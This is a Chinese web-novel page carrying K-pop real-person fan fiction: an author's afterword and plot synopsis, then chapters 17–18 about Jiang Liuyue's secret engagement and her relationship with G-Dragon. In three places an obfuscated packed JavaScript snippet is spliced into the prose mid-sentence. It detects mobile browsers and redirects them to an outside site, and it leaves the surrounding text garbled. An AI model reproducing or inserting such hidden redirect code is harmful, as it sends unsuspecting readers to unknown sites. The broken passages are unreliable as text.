【PS:晋江的韩娱作品在2013年左右,必须要改掉名字才能入V,比如将权志龙改成全志龙,或权至龙这种,作者曾经尝试过这样做,但最终因为观感变差而放弃了入V,收入只有读者投放的地雷,因此所有的作品都没有入V,也不能以此获得能赖以生存的酬劳,此外,我的身份也从学生过度为社会人士,需要工作来获取立足资本,禁韩令之后,韩娱彻底淡出了我的生活。】 虽然现在说起这些话来,我依然是有些羞愧,没有人能比我更爱我笔下的作品,与其写一些支离破碎的敷衍情节让它虚假的延续,不如干脆的就停留在那个时间更好。 这个世界上有些东西就是会戛然而止的。 虽然听起来像是狡辩。 但请接受我的道歉。 《明月》和《如约》,不会再更新了。 就让它们作为遗憾和错误,停留在过去的岁月里吧。 * 【剧情提要】 《我和你的这十年》分为两个世界线,一个世界线是“塔伊之前已经和权志龙走过十年的2024世界”,另一个则是“塔伊回到之后开始改变的2014世界”,我在这里描述为“2024世界”与“2014世界”。 “2024世界”沿用了《韩娱(娱乐圈)之明月在上》和《如约》的设定并做了修改,最终确认的世界线如下: 1991年,中国富家女乔娜来韩国探望未婚夫江先生的时候邂逅了青年艺术家柳天赐,两个人出轨并怀孕,为了能留下这个孩子,柳天赐将乔娜藏到了木浦徐家的乡下祖宅,委托自己的老师徐瑾培(崔胜铉外公)代为照顾。 柳天赐在和家人的反抗中点燃了关押自己的别墅,结果因为吸入浓烟昏迷,为了迷惑乔娜,柳家放出了柳天赐身亡的消息,悲伤欲绝的乔娜因此早产,在徐家生下了一名女孩,也就是我们的女主人公,当时徐瑾培给女孩取名为“月”,韩语发音为塔伊。 为了让乔娜能安心在徐家养身体,徐瑾培做主为崔胜铉与塔伊定下婚约,并将祖传的祖母绿戒指给了乔娜作为信物。 在柳天赐身亡的假消息下,乔娜身体久病不愈,最终在送医的时候被未婚夫和娘家发现,因此和女儿一起被遣送回国,从此断开关系。 回国之后,乔娜因没有能力生活,最终选择和原来的未婚夫结婚,塔伊跟随养父改名为江留月,并一起生活到十三岁。 柳天赐的父亲去世之后,柳天赐继承了宗族和家产,他立刻找人联系上了乔娜,乔娜果断与江先生离婚之后,带着江留月来到韩国和柳天赐结婚生活。 完全不能适应韩国生活的江留月和家里矛盾诸多,为了让她屈服,乔娜克扣了她的生活费,江留月不得已在一家中国餐馆打工,并因为送餐而认识了YG公司的练习生权志龙和东永裴、崔胜铉三人,还被权志龙赐名“酱得利”。 权志龙因为江留月邋遢的穿着与短发误认为对方是男孩子,在发现对方的好嗓子与悲苦的生活之后,他好心伸出橄榄枝培养江留月唱歌跳舞,江留月也下决心要离开柳家,因此选择相信权志龙,跟随哥哥三人组一起学习唱歌跳舞的基本功。 在权志龙的魔鬼教育下,江留月顺利通过练习生考核,而权志龙也终于得知对方是个女孩子,但江留月此时已经习惯和他们以男生身份相处,短暂的尴尬之后四个人的关系恢复如常。 随着年龄增长,江留月出落的越发漂亮,因此被选中走了平面模特、MV模特等道路,并机缘巧合之下参演了综艺(大概与明月中前期路线吻合)。 小有名气的她和权崔东的关系越来越好,练习生的队伍也增大,张贤胜、李昇炫也加入其中,江留月见证了BB的诞生与成长,一起并肩走过了三四年的时光。 在这三四年中,江留月被权志龙所吸引,懵懂的暗恋着对方,而察觉到这份暗恋的权志龙也对她抱有不一样的心思,两个人在这样兄妹之上,恋爱未满的情况下拉扯,直到2008年才捅破窗户纸,成为了一对小范围公开的恋人。 【PS:这里改动了明月中十五六岁就开始谈恋爱的设定,将恋爱的开始改得更为成熟,两个人的身份、心理状态也完全不同。】 在一起之后,原本互相拉扯的甜蜜并没有持续太久,江留月糟糕的原生家庭一直拖着她的后腿,她也因为自己出的第一张专辑活 动并不顺利而想要退出自己本就不喜欢的娱乐圈生活,但权志龙不赞成她这样变成了一个“家庭主妇”一样的附庸的存在,也不喜欢这种无时不刻黏在一起被掌控的感觉,一个寻求安全感和归属,一个寻求的是自由的浪漫主义,两个人开始毛毛糙糙的闹矛盾。 在这期间,崔胜铉因为情感问题和外公的去世陷入了抑郁,并意外得知江留月是他的未婚妻,他本只觉得这个婚约荒唐想要取消,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517437|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意外发现了江留月正在被柳天赐和乔娜折磨的痛苦生活。此时柳氏宗族式微,几乎完全听从于徐氏和崔氏,柳天赐以婚约试探崔氏和徐氏的帮助,为了能让江留月好过一些,崔胜铉只能将此事瞒下来。 在乔娜和柳天赐的操作下(江留月本身并不知情婚约),崔胜铉与江留月相处频繁,本只是以兄长的身份想要让江留月好过一些,却不知不觉倾注了大量的精力和注意力在她的身上,在发现感情变质之前,已经踏入了情感的漩涡。 随着BB的事业发展的越来越好,江留月的不安全感越来越重,她试图往影视方面拓展事业,却被权志龙双标控制亲密戏码,这几乎掐断她大部分选择,不如意的事业和周围的人逐渐改变的态度让江留月很痛苦。 【这里周围人的态度指的是,大家都知道她和权志龙交往,所有人都只会羡慕她,当她和权志龙发生争吵的时候,大部分人都不会感知到她的痛苦和矛盾,只会觉得她“不知好歹”“不珍惜”。 公司方面利用权志龙来拿捏她的合同,社交方面,她被视为‘权志龙的所有物’,权志龙越来越成功,她就越来越成为‘权志龙的女朋友’而非‘江留月’。 这种自我的丧失让江留月很痛苦,但她就连努力都找不到方向,公司不肯给资源,自己出去找的资源却要因为她和权志龙的关系而否掉许多角色和尝试的可能性,她想要离开,却还有原生家庭的拉扯。 她在韩国的根基扎在权志龙的手心里,权志龙越强大,她的日子就‘越是好过’,但这一切都是权志龙可以随手收回的东西,这让她对于确认‘权志龙爱她’这件事情逐渐陷入疯魔,最终将自己的喜怒哀乐都牵绊在一个人是否爱她上,彻底丢失了自己。】 作为“本我”的江留月其实并不服从任何管教,也不适合当任何人的附庸,但从乔娜和当时环境下对女性的规训上,她又觉得自己应该学着当个乖女孩或者贤妻良母,在这样的自我割裂和拉扯中,两个人的观念渐渐相差甚远,恋爱关系在2011年陷入僵局,最终闹到分手的程度,然后又因为权志龙出事的契机,两个人再次重归于好。 这次重归于好之后,权志龙意识到了江留月对自己的重要性,他不管从感情还是心理上都更加依赖她,而江留月却因为越发出众的美貌而引来觊觎,这让他对她的保护越发严苛,而在江留月眼里成了过度的掌控与偏执。 忙碌的事业让两个人缺乏静下心来好好沟通的时间和契机,两个人日益争夺的争吵,让两个人不自觉的避开相互相处的时间,最后一次好好相处的机会,就是在2013年权志龙个人solo结束和2015年bb全体回归之间的2014年。 在这条时间线里,两个人错过了这珍贵的一年,在2015年BB世巡开始,江留月下定决心去寻找自己的路,将自己的演艺事业和重 心挪回国内,直到权志龙个人solo之后,再次走到分手的结局。 此时的权志龙即将前往兵役,他知道自己当兵期间无法掌控外界,不如让江留月去自己熟悉的中国,于是选择给两个人漫长的休息时间,错过了最后一次抓住江留月的机会。 等到权志龙兵役结束,江留月已经在内娱站稳脚跟,两个人在见面之后大闹一场,从此彻底闹掰,行同路人。 他们最后一次见面是在2023年的巴黎,对着摄像头他们两个都笑着说好久不见了,结束之后会好好喝一杯。 他们肩并肩在一起合影留念。 但结束之后,他们只是回到了各自的酒店。 那是他们最后一次见面。 *关于《我和你的这十年》,整体篇幅我估计会是在三十万字左右,我最近三次元比较忙,所以尽量有时间就更新,会尽量一章多一些字数,所以大家不要看我更新频率不高,其实总字数还可以~ 这篇会提及崔胜铉是因为他这条线无法规避,但只会作为暗线存在,请大家理解。 【PS:如果大家在这条时间线里有什么特别想看的情节之类的可以给我留言,我会酌情添加在接下来的回忆章节中或者增加小番外。】 在后续更新中,我会做到每周至少更新个一万字,这是整个明月系列的最终篇,不会坑掉。 最后,感谢你看到这里,如果你看到这里依然对这篇文章报以兴趣,那祝你阅读愉快,如果你无法接受,那,祝你生活愉快。 阿左·敬上 17.自私的心 17.自私的心 江留月记不得具体是什么时间得知自己和崔胜铉的婚约的了。 大约是在乔娜闹得最凶的时候,她发现以自己的努力已经无法挽回丈夫的时候,将希望寄托在江留月的身上。 她盼望江留月早点结婚,结婚的对象可以是权志龙,也可以是崔胜铉。 前者倒是毫无意外,后者却让江留月觉得荒谬。 在江留月的心中,崔胜铉是真正如同兄长一样的存在,乔娜猛然的提议让她觉得对方疯了。 但乔娜很快拿出了那枚华贵的祖母绿戒指,向她讲述了曾经的婚约,并告诉江留月,崔胜铉不仅知情,还因此被拿捏了不少好处。 这件事情成为母女俩本就脆弱的关系上的最后一根稻草。 江留月没料到父母竟然无耻到利用这层关系来获取好处,回想起每次回到父母这边,总是会这样那样巧合的遇到崔胜铉,而崔胜铉总是那样若无其事的和她相处,听她抱怨琐事,也陪她度过或愉快或抓马或悠闲或无聊的时间,她就觉得仿佛被人打了一闷棍又抽了几耳光,耻辱的站都站不稳。 巨大的冲击打来的耻辱与背叛让江留月彻底和乔娜割席,她抽走了自己在韩国的大部分资源,并单方面拒绝再和乔娜联系。 乔娜去世之后,江留月拿到了那枚戒指,她故作不知的伪造了一封旧信,假装是收拾遗物时获取的,将戒指送还给了徐家。 她始终没有勇气当面和崔胜铉说起这件事情,而崔胜铉也很默契的从未提起过这段婚约。 重来一次,江留月自然不会让之前的事情再次发生。 柳天赐的艺术天分早就在富足的生活中消耗殆尽,艺术馆也只是凭借着之前的人脉在支撑,他早就没什么作品了,收入也不过只有宗族下面的土地房产提供的租金以及柳家之前留下来的老本罢了。 江留月对这个生父没有什么感情,见面了也只有礼貌性的交流,柳天赐尽管总是端着父辈的架子说教,江留月也看在希望乔娜有着和睦家庭生活的份上勉强忍耐,但确实没有办法和能力真的去太多干涉江留月的人生。 一来是江留月是他和乔娜之间唯一的孩子,他还要指望江留月养老,二来是江留月的社会地位和财富都已经远超于他们夫妻,和江留月闹得太僵,反而会给自己带来不好的影响。 柳天赐因此只会端着一些看起来强硬实则可笑的架子,比如今天这样当众指责江留月的衣着不够淑女,除此之外,他也没什么可“赐教”的了。 对于柳天赐来说,他本来希望江留月能快点攀上崔胜铉,这个继承了崔氏和徐氏两个大家族资源的男人如果成为了他的女婿,将会是他最大的成就。 但,崔胜铉也有不合适的地方,徐氏和崔氏的宗族地位如今远高于柳氏,就算有着岳父的头衔,柳天赐也要过着仰望女婿鼻息的生活。 好在,江留月给了他第二个选择。 柳天赐初始是看不上出身于安阳权氏的权志龙的,安阳权氏虽然是个大宗族,但权志龙并非直系,而且家境也堪堪中产,距离富豪财阀都还相去甚远。 在得知江留月和权志龙交往的时候,柳天赐一度暴跳如雷,但随着权志龙的名声财富地位的水涨船高,他又觉出了权志龙的好。 虽然缺少了宗族的资源,但现今韩国宗族早就没落大半,是财阀的天下了,而且权志龙少年成名凭借的全是自己的单打独斗,自然不受宗族的钳制,也不需要回馈宗族大笔的财富。 其次,权志龙逐渐成为韩国新兴艺术流派中炙手可热的人物,他独特的审美和品位正成为年轻人狂热追捧的对象,这也是难以盈利的美术馆最可遇不可求的合作对象,如果能得到权志龙的人脉资源,对于在自己的事业里郁郁不得志的柳天赐来说,又是个翻身的机会。 除此之外,柳天赐还有不为人知的心思:江留月在机缘巧合之下和这两个人都缘分颇深,似乎跟谁结婚都有可能,而他何必早做选择呢?趁着现在两个男人似乎都被自己的女儿迷得晕头转向,他完全可以先吊两头,好处吃够。 这华美的美术馆,自然就是好处吃够的柳天赐从自己选的两只金龟上薅来的羊毛。 而以上这些,曾经江留月是不知情的。 如今知情的她看着美术馆的华美装修、宽阔走廊和来往的艺术家们,只有满腔不爽和愤怒。 端着艺术家的架子,摆着当爹的谱,其实不过是一只趴在女儿身上的水蛭罢了。 ——只是如何处理,都实在不适合当面撕破脸。 她都可以想到,如果柳天赐破罐破摔,拿着婚约怼到媒体那里去,该是什么样震撼人心的爆炸新闻。 权志龙、崔胜铉,包括她的社交圈都不要想安生了。 至于她之后的事业? 不用想了。 这个不像话的绯闻会盖过她身上所有的标签,成为她的“标志”。 不管她是出专辑、拍电影、拍电视还是去综艺,人们看到她,永远都会只剩下一个反应。 “那个明知自己有婚约还和未婚夫的队友谈恋爱的女人。” 这很荒谬。 哪怕她之前并不知情,哪怕崔胜铉从头到尾没有提到过这一切,哪怕这所谓的婚约并不合法。 都没有用。 他们三个人都将陷入耻辱而痛苦的舆论漩涡。 而作为艺人的生涯,也注定在这完成大跳水。 江留月不允许这样的事情发生,因此,她今天才特意来到这里,只是事情还没“办完”,就遇到金优和崔胜铉了,那可真是意外的“又惊又喜”了。 来都来了。 不如就先放下几枚棋子好了。 江留月一边这样想,一边顺势就着崔胜铉的话,撂下了这枚“炮弹”。 崔胜铉自从听她说完那句话之后,就露出有点像笑又笑不出来的复杂表情。 他一直没有说话,江留月也保持着沉默。 崔胜铉碾碎了手指夹着的香烟。 无数情绪和话语在胸口碰撞,他焦躁的恨不得站起来冲到走廊把里面的陈设都砸个稀烂,但嘴唇张合了几次,却又硬生生咽了回去。 他看着江留月平静的表情,将心中涌出的古怪和陌生感都压了回去…… 但没能成功。 “你是被鬼上身了?” 崔胜铉呼吸急促的问道,他烦躁的将香烟丢开,开始揉搓烟盒,眼神四处乱飘:“我看你这丫头是疯了。” “胡说八道。” “我为什么要和你结婚,什么婚约,闻所未闻。” 他语速很快,明显有些慌乱,来不及吞咽消化的情绪不可避免的泄露出来,也许是错觉,他感到手指上戴习惯的戒指变得滚烫起来。 “……” 江留月承认,这个反应,她有些没料到。 “哥。” 江留月抿了抿嘴,最终没忍住指控到:“你也不能耍赖吧。” 明明是一直吃着亏在背后默默照顾她的人,怎么像是个做错了事情的小孩子一样耍起了赖皮? “谁耍赖了?!” 崔胜铉瞪着一双牛眼:“你不要乱讲,臭丫头。” 他甚至威胁的挥了挥手里的手杖:“信不信我抽你一顿。” “……” 江留月甚至怀疑自己的母语不是中文。 是无语。 她深呼吸了两次,然后对崔胜铉认真的说道:“不管怎样,不要对那个人出手,他是我的朋友,不是坏人,还有,”她对着崔胜铉想摘下戒指的手指抬了抬下巴:“哥也考虑一下吧,为什么要和我这样的臭丫头牵扯不清,不觉得疲倦吗?” 江留月又顿了一下。 说道:“……钱,能不能算一下,我补给你。” “够了。” 崔胜铉立刻打断了她。 他抿了抿嘴唇,明显开始不高兴了。 “别说了,这事儿提都别提了。” 他闭了闭眼睛。 然后长长的叹了口气。 “……我会考虑的。” 点到为止。 明白在经过最初的冲击和思考之后,崔胜铉会认真考虑她的提议之后,江留月乖巧得闭上了嘴巴,既然没有合适的话题,她还不如保持安静。 崔胜铉总算是摘下了那枚戒指,然后将戒指放进了自己的口袋,做完这一切之后,他像是打了一场仗一样,露出了疲惫的表情,坐在原地发起呆来。 【哥,你不想要自由吗?】 崔胜铉实在是一个极度害怕被规训的人。 什么自由。 人活在这个世界上,就没有自由可言。 上学的时候要遵守校规,长大之后要遵守法律,在公司里有公司规定,当艺人就总是要露出假笑,歌词里不能带有脏话,面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“挽着我,哥带你去认识几个人。” 崔胜铉立刻抬起一条手臂,江留月会意的挽住,乔娜果然知难而退。 江留月不自觉的松了口气。 而崔胜铉则垂下长长的睫毛,注视着她重新露出笑容的脸。 这种注视非常短暂。 他立刻转移开目光,看向迎上来的艺术家朋友,熟络的和对方打招呼起来。 “这是Alice。” 崔胜铉说道:“认识一下吧,这是我非常珍爱的孩子。” ——————你可能不太知道。 我曾经这样短暂的,无数次的,注视过你。 在这样的,那样的,时刻里。 谁也不知道的时间里。 你总是看起来没什么精神,总是爱笑的孩子不知道什么时候开始眼角都是湿润的,像是刚刚哭过一样;不吃饭也不出门,总是呆呆地看着天空的你,让我总觉得你会飘起来然后像是泡沫一样消失。 但我说不出‘那就消失吧’,‘如果这让你痛苦的话,那就逃跑吧’这样的话。 因为我自私,怯懦,有着不可告人的心思。 所以我拼了命的想做一些什么。 “这样做的话,能缓解你的痛苦吗?” “这样做的话,算是我帮助了你吗?” “这样做的话,能保持住现在这样平稳的生活吗?” “这样做的话……” 你们会永远相爱吗? 我是说你和志龙。 因为你大概,或者我确定,你永不会爱我。 那我希望你和志龙永远相爱。 请你们永远相爱。 请你们永远居住在隔壁街区的小房子里,我能听到你们的笑声,也能听见你们在争吵,但无论如何,你们总是会在这个房子里继续你们的人生。 当我从我漆黑的人生望过去的时候,我总是能看到你们房子里亮着的灯。 是幸福人生啊。 “我知道那不是月亮。” “但那就是我的月亮。” 18.回梦 18.回梦 权志龙做了一个梦。 在这之前,他已经很久没有梦到过江留月了。 这孩子从小时候开始,就不是什么宽宏大量的性格,也总是别别扭扭的,悄悄地生气,因此,她不肯拜访自己的梦境,似乎也不是什么难以接受的事情。 这次的梦里,没有白茫茫一片,而是看起来像是个普通的夜晚。 他沿着走过无数次的斜坡上前,发现这个夜晚属于早春的樱花,昏黄的路灯下一场樱吹雪落在江留月的肩膀上。 她看起来,大约是刚认识不久的样子。 乱七八糟的短发,总是染着油渍的肥大外套和松垮裤子,被刘海遮住的大眼睛,总是被咬住的无辜的下嘴唇。 权志龙放轻了脚步,慢慢的走到了她的身边。 “在看什么呀。” 他注意到江留月的视线。 江留月没有理会他,只是眼巴巴的继续看着。 权志龙从自己的角度看,只看到空荡荡的街口,他尝试着走到江留月的身后,才发现拐角处藏着一家炒年糕的小摊子。 “肚子饿了?” 权志龙问道。 江留月似乎听不见他说的话,只是继续望着,权志龙看到一个不锈钢做的手提食盒放在旁边地上。 这是2006年的初春,他心爱的孩子此时只是一个语言半通不通,在还料峭的春夜里等待YG练习室里的练习生们吃完饭好去回收碗筷的外卖员。 因为在走廊里会被训斥,所以只能躲在巷子的角落里,她张望的从来不是练习室里别人的人生,而是一碗能够果腹的食物。 权志龙走过去买了一碗炒年糕和一份鱼饼汤,热气透过塑料袋蒸腾着他的手指,他走到江留月面前。 这一次,她抬起头看向他,刘海随着抬头的动作向额头两边滑落,露出她带着些许迷茫和好奇的双眼。 “请你吃。” 权志龙说道。 “塔伊啊,肚子饿了吧,哥哥来请你吃东西吧。” 江留月眨了眨眼睛,她看起来又瘦又小,越发显得圆溜溜的眼睛很大很亮。 她似乎有些犹豫,手蹭着自己裤腿的侧线,咬着下嘴唇咽了口口水。 “塔伊……” “呀!!酱得利!!!” 沙哑但是尖锐的声音,江留月打了个哆嗦,然后慌里慌张的看向不远处的大门,权志龙看到了十八岁的自己毛毛躁躁的从门里面探出半个身子,先是被料峭的风吹得打了个哆嗦,然后用不友好的语气训斥:“为什么听不见我叫你,来收拾吧。” “nie——!” 江留月赶紧答应着,弯下腰拿起那重重的不锈钢食盒就要往前走去。 权志龙一把抓住了她的手。 好冷的手。 权志龙被冰的哆嗦了一下。 别走。 别去。 留在这里。 他的想法过于强烈,即便没有开口挽留,江留月也惊讶的停下脚步看向他。 樱吹雪落在她的眉间发梢,也落在权志龙的肩头手臂。 她不能用不熟练的韩语反驳什么,只是有些疑惑的看着眼前这个衣着华贵,眉眼清秀的男人,她本应该甩开对方。 但江留月不知为何并没有那么做,也许是对方看起来莫名的眼熟,也许是对方看起来像是要哭了一样的难过。 “酱得利,干嘛呢,为什么站在那不动。” 十八岁的权志龙皱着眉双手环胸,用训斥的口吻说道:“还不过来?” 江留月露出为难的表情。 她试图抽出自己的手,频频回头张望着十八岁的权志龙,然后露出有些抱歉的表情。 要做点什么才行。 眼看那只手就要离开自己的手心。 权志龙张了张嘴,却只说出一句话。 “你的手……为什么那么冷,塔伊啊?” * 权志龙返回韩国的时候,春日已经走到尾声。 空气中漂浮着令人心烦意乱的闷热,大家在这样的环境里似乎做什么都觉得心烦气躁,吵架和争执成为沟通的主旋律。 所有人都在期待一场大雨作为夏日的前奏。 虽然中途曾经往返韩国两次,但江留月都非常恰巧的不在首尔,因此这一次见面,两个人分开了长达半个月之久。 权志龙兴冲冲的回到家,抱着鲜花的手却在看到落满了灰尘的地板的时候松开,让花瓣打碎一地浮灰。 他深呼吸了一口气,先短信通知家政过来打扫卫生,然后将鲜花一脚踢开,行李箱则甩到玄关,自己则气呼呼的开始给江留月打 电话。 等到电话接通,气鼓鼓的权志龙听到了对面的一声“yaobuseiyo”之后,忽然像是被抱住了小河豚一般泄了气,哼哼唧唧黏黏糊 糊的嘀咕道:“为什么不在家啊。” “我在家……啊,抱歉。” 身处个人江南公寓的江留月将手里的画册合上,有些心虚的摸了摸自己的眉心:“抱歉,哥……什么时候回来的,我以为你还要 两天呢,排练不是在下周吗?” BB结束了日本的巡演回归,是为了韩国的YG家族演唱会的彩排,江留月本以为他们会在彩排的前两天才回来。 想要给对方一个惊喜的权志龙此时一句话也说不出来,令人灰心又扫兴的扑空显然消耗了他大半热情,可想要发脾气的话一个字 也说不出来。 “抱歉,哥……那边实在是房间太大了,我有点害怕。”江留月试图找个合理的理由,却越说越心虚,声音也越来越小。 她只好保持沉默,静候对面的抱怨大爆发。 可她只听到轻不可闻的叹息与柔和得不可思议的温言细语。 “见面吧,塔伊啊。” 权志龙轻轻地叹了口气,向自己年下的恋人妥协。 她是那么的年轻又自由,理应他这个年长的更为包容的照顾。 “想你……哥真的很想你。” 即便如此,权志龙没有踏足江留月的私人公寓。 那是江留月为自己保留的避难所,是两个人心照不宣的私人领地。 权志龙在江留月公寓的地下停车场等她,他习惯性的扫视周围,手指敲打着方向盘,这次出来他开的是一辆商务系黑色轿车,内 饰的沉闷让他觉得等待变得更为难熬了一些。 权志龙抬起手腕看表,手腕上崭新的手表是他这次在银座的战利品,还有一块更为小巧的此时正乖乖待在精美的盒子里放在副驾驶的前面。 他重新买了一束花,更为小巧,他等待得太过无聊,从花束里抽出一朵,开始撕扯花瓣,一片片抛向副驾驶座,将那里打扮得如同公主的宝座。 “来了,没来,来了,没来,来了,没来,来了,没……来了!!” 权志龙将可怜的花梗往后座一扔,解开安全带下了驾驶座,然后绕到副驾驶前面去。 江留月的裙摆出现在电梯口,他等了不到一秒,便忍不住急切的迎了上去。 想好的矜持与小小的报复,预想要至少五分钟的生气与抱怨在这瞬间都荡然无存,他的脚步越来越快,直到停在江留月的面前。 江留月被他冲过来的样子吓了一跳,她才后退一步,权志龙就将她逼回了才走出一半的电梯厅。 “呀权志龙你这个疯……唔……疯子……呀!!!” 被一口亲掉嘴上刚抹好的口红的江留月气的用拳头砸了一下权志龙的后背,对方却露出得意的笑容用大拇指擦了擦自己嘴上被蹭 上的口红。 一只手搂着她的腰一只手用大拇指蹭了口红放在鼻尖闻了闻,权志龙炙热的爱意和滚烫的眼神让她几乎要在电梯间里狼狈逃开。 “啊……是橙花的香味。” “呀你是变态吗闭嘴不许说了啊西八!!” 江留月被权志龙一整套痴汉行为闹了个大红脸,气的一个劲捂他的嘴,权志龙似乎还要继续说什么虎狼致辞,江留月干脆给了他 一个轻轻地耳光。 权志龙只好松开了她,说着好疼的捂着自己的脸。 江留月被他吓得直喘气,狠狠地瞪着他:“疯了吗?这是电梯厅啊!” 虽然这套公寓一梯一户,但地下停车场的电梯厅却是一个公用出入口,难说下一秒会不会有别的住户来使用。 “怎么了嘛……我见不得人吗?让你丢人吗?有这么帅气的男朋友你该把我挂在脖子上到明洞最热闹的街走一圈去炫耀。” “……” 面对2014年依然有着中二王子病的权志龙,江留月抿了抿嘴,咽下了一肚子不好播出的脏话与吐槽。 ……真想把这个臭屁的样子录下来给2024年那位看看,看看那位会不会直接钻到地底下去。 权志龙倒也不是完全没有羞耻心,讲完之后见江留月不给反应,他忽然感到了一些尴尬,于是清了清喉咙,板着脸拿出了当哥哥 的架势:“可是你这孩子,为什么刚刚一见面就说脏话,你可是艺人啊,这样说脏话真的好吗?” “……想吵架吗哥?” 江留月冷冷的给出一个终结式。 “干嘛呀,不是说了吗,想你才这样的。”权志龙见好就收,搂着她的肩膀黏黏糊糊的说道:“干嘛那么冷漠,你变心了吗?” 江留月心虚的僵硬了一下,而这僵硬,几乎是立刻被权志龙察觉。 他脸上的笑容几乎瞬间就消失了。 “……哥你要是开这样的玩笑,我真的生气了。” 好在下一秒,江留月就立刻说道,她一边说,一边转头正视着权志龙。 权志龙的心一下子就软了。 他的眼珠子圆滚滚,黑溜溜的小猫。 他忍住想要将人抱在怀里揉搓的冲动,低声说着抱歉,凑上去亲了亲她的脸颊。 很克制,很轻柔。 “对不起,原谅我。” “我乱讲话了。” 权志龙是个从不吝啬于在伴侣面前道歉和低下身段的男人,只要江留月愿意服软,他连原则都低的可怜。 江留月抿了抿嘴,算是原谅了他。 ——但权志龙没有原谅她。 毕竟这是个记仇的男人。 “你好冷淡,塔伊。” 权志龙吻着那带着泪痕的脸颊,宽大的手掌握着江留月的手指,十指交叉的感觉很好,他分出一根食指来拨弄她手腕上的新手表。 银色的冰凉的表链上钻石闪着耀眼的光芒,在蹭上真丝床单的时候发出唰唰的轻响。 “为什么对哥那么冷淡,不接电话,也不肯和我多视频,总是冷冰冰的样子,真的让我很心痛。” “……塔伊?” 江留月已经累坏了,她迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14618543|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切的需要睡眠,她哭够了也累够了,连睫毛都被眼泪粘住了,她不舒服的皱着眉想要抽出一只手去揉眼 睛,权志龙发现了她的不适,便用嘴唇吻去泪花。 他沉迷于亲吻她,似乎亲吻、抚摸,是他胸口那沸腾情感即将决堤的唯一出口。 他迫切的传达温度,迫切的用近乎要捏碎她的力度留下的痕迹,似乎都在讲述他堆积过多以至于让他焦躁不安的爱意。 江留月总算抽出了一只手捂住了权志龙的嘴。 花言巧语的狗男人。 疯狗一样的家伙。 乱咬又乱叫,一刻不得到安抚就会开始破坏周围的,超高情感需求的疯子。 权志龙任凭她捂住自己的嘴,他亲了一口江留月的掌心,然后垂着头,居高临下的,用那双褐色的漂亮瞳孔注视着她。 温柔的,令人心碎的眼睛。 不知道为什么,看起来是如此的悲伤。 又是如此的熟悉。 “……不要哭。” 江留月没由来的说道:“权志龙,不要哭。” “我没有哭。”权志龙有些莫名,但依然弯了弯眼睛:“你这孩子,”他的声音因为江留月的手掌并没离开,而变得朦胧又含 糊:“真的混乱了。” 江留月的手臂缓缓放下,两个人的距离再次拉近。 江留月的手臂环着权志龙的脖子,权志龙将自己的尖下巴放在她的肩窝上蹭着,然后发出猫咪一样舒服的呼噜声。 “……原谅你了,坏孩子。” 权志龙为自己所有的控诉画上了一个轻盈的结尾。 江留月将手下移,搂住了权志龙的背,然后轻轻地摸了摸,权志龙发出舒服的叹息,嘟囔道:“真好。” 江留月摸着他的后背,声音很轻的说道: “真的原谅我了?” “嗯。” “……不管我做什么?” “嗯。” “……我说真的,权志龙,不管我做什么,你都会原谅我吗?” 权志龙舒服的打盹被打破了,他撇撇嘴,扯住江留月的手臂,将人团吧团吧窝在自己的怀里:“别演电视剧了,你还那么有精神 的话我们……” 他开玩笑的口吻忽然顿住,因为江留月看起来很清醒,表情也不像是在开玩笑。 “……你干嘛了?” 权志龙尝试解读对方的想法:“……还是想干嘛?” “我什么都没干,我只是很好奇。”江留月用手抚摸着权志龙的下巴,那里冒出了一点点的胡茬,有点扎手。 “我真的不管做什么,你都会原谅我吗?” “……比如?” “我卷走你所有的钱?” 权志龙皱起眉,用一种‘你这孩子是不是疯了’的表情看着江留月。 江留月换了个更严重的说辞:“我……剽窃了你没发表的作品,然后联合别人对你进行金融诈骗,再把你赶出房子去大街上流 浪?” “……好狠毒的女人。”权志龙吸了口气:“你认真的?” 江留月沉默。 权志龙思考片刻回答道:“那你得找个很厉害的律师才行……你对韩国的金融法熟悉吗?剽窃作品的话,需要我给你demo吗?” “……换一个。”江留月自己也觉得荒谬的摆了摆手:“嗯……我给你下毒,让你生病,然后趁着你生病跟别人好。” “前半截可以,后半截不行。”权志龙说道:“你怎么能在我生病的时候跟别人好。” “?” 江留月停顿了片刻道:“那什么时候可以?” “……你还想劈腿?” 权志龙都被气笑了:“塔伊啊,你到底是来激怒哥的,还是想刺激哥今天再来点新花样的?” “……都不是。” “呵,我不信。” 权志龙果然拎着她玩了点新花样,江留月这下彻底晕乎了,果然只要吃得太饱,人就会犯晕,会倒入软绵绵的棉花糖里去。 她都快要睡着了。 权志龙用热毛巾给她擦了擦脸,又给她抹了点护肤品,免得哭得太多第二天起来了脸上皮肤受到损害。 他做这种事情轻车熟路,小心翼翼的揉开护肤品的样子像是个给孩子擦乳霜的父亲。 或者说,神态更像。 剥去男女的性别,情欲的外衣,再去掉彼此的身份和关系,他在这一刻想的只有,希望第二天起来的时候,她的脸颊不会痛,不 